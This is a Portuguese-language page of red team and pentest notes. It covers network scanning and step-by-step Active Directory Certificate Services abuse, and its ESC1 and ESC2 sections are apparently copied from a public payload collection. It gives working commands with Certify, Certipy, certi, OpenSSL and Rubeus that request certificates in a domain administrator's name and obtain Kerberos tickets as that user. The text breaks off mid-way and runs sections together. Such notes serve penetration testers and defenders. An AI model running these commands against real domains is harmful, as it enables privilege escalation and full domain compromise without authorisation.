
Notas e experimentos de RedTeam/Pentest testados em várias infraestruturas relacionadas a engajamentos profissionais.
Notas publicamente acessíveis sobre meus experimentos de pentest/red teaming testados em vários ambientes/infraestruturas controladas que envolvem o uso de várias ferramentas e técnicas utilizadas por testadores de penetração e redteamers durante uma avaliação de segurança.
Aceitamos contribuições como pull requests no github.
Parabéns e agradecimentos às pessoas que fizeram o trabalho duro
Aviso Legal
Apenas para fins educacionais, use por sua própria responsabilidade.
Coletar informações sobre o nome de domínio e máquinas Windows em execução na rede```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24
ou```bash
bash$ responder-RunFinger
Varredura de redes IP para informações de nomes NetBIOS.```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24
## Crackmapexec v 4.0
Digitalize o intervalo de rede com base nas informações SMB```bash
bash$ cme smb 192.168.1.1/24
Escaneie toda a rede da máquina e salve as saídas .
Escaneamento Rápido```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP
Scan Intensivo (Nota recomendada):```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
Escanee com enumeração da versão dos serviços em execução:
## Angry IP scanner
Baixe a ferramenta deste link :
[Angry IP Scanner](http://angryip.org/download/#linux)
* Altere as configurações de preferências
> Vá em: Preferências -> Portas -> adicione 80,445,554,21 ,22 na seleção de portas <br>
> Vá em: Preferências -> Exibição -> selecione Hosts Ativos <br>
> Vá em: Preferências -> Ping -> selecione Combinado (UDP/TCP)
# Movimento Lateral e Exploração
### Serviços de Certificados do Active Directory
Esta parte foi copiada de https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>Para mais detalhes, consulte: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
(Testado em ambiente privado (Bloodhound e depois exploração ESC1))
* Encontre o Servidor ADCS
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Enumere CAs Corporativas do AD com certutil: `certutil.exe -config - -ping`, `certutil -dump`
#### ESC1 - Modelos de Certificados Malconfigurados
> Os usuários do domínio podem se inscrever no modelo **VulnTemplate**, que pode ser usado para autenticação de cliente e possui **ENROLLEE_SUPPLIES_SUBJECT** definido. Isso permite que qualquer pessoa se inscreva neste modelo e especifique um Nome Alternativo do Sujeito arbitrário (ou seja, como um DA). Permite que identidades adicionais sejam vinculadas a um certificado além do Sujeito.
Requisitos:
* Modelo que permite autenticação no AD
* Sinalizador **ENROLLEE_SUPPLIES_SUBJECT**
* [PKINIT] Autenticação de Cliente, Logon com Cartão Inteligente, Qualquer Finalidade ou Sem EKU (Uso Estendido/Melhorado de Chave)
Exploração:
* Use o [Certify.exe](https://github.com/GhostPack/Certify) para verificar se existem modelos vulneráveis
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* Use o Certify, [Certi](https://github.com/eloypgz/certi) ou [Certipy](https://github.com/ly4k/Certipy) para solicitar um Certificado e adicionar um nome alternativo (usuário a ser personificado)
```ps1
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
```
* Use o OpenSSL e converta o certificado, não insira uma senha
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* Mova o cert.pfx para o sistema de arquivos da máquina de destino e solicite um TGT para o usuário altname usando o Rubeus
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**AVISO**: Esses certificados ainda serão utilizáveis mesmo se o usuário ou computador redefinir sua senha!
**NOTA**: Procure por sinalizadores **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** e Relay NTLM para Endpoints HTTP do AD CS.
#### ESC2 - Modelos de Certificados Malconfigurados
Requisitos:
* Permite que os solicitantes especifiquem um Nome Alternativo do Sujeito (SAN) no CSR, bem como permite EKU para Qualquer Finalidade (2.5.29.37.0)
Exploração:
* Encontre o modelo ```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
/altname como um administrador de domínio, como em ESC1.ESC3 ocorre quando um modelo de certificado especifica o EKU de Agente de Solicitação de Certificado (Agente de Inscrição). Esse EKU pode ser usado para solicitar certificados em nome de outros utilizadores.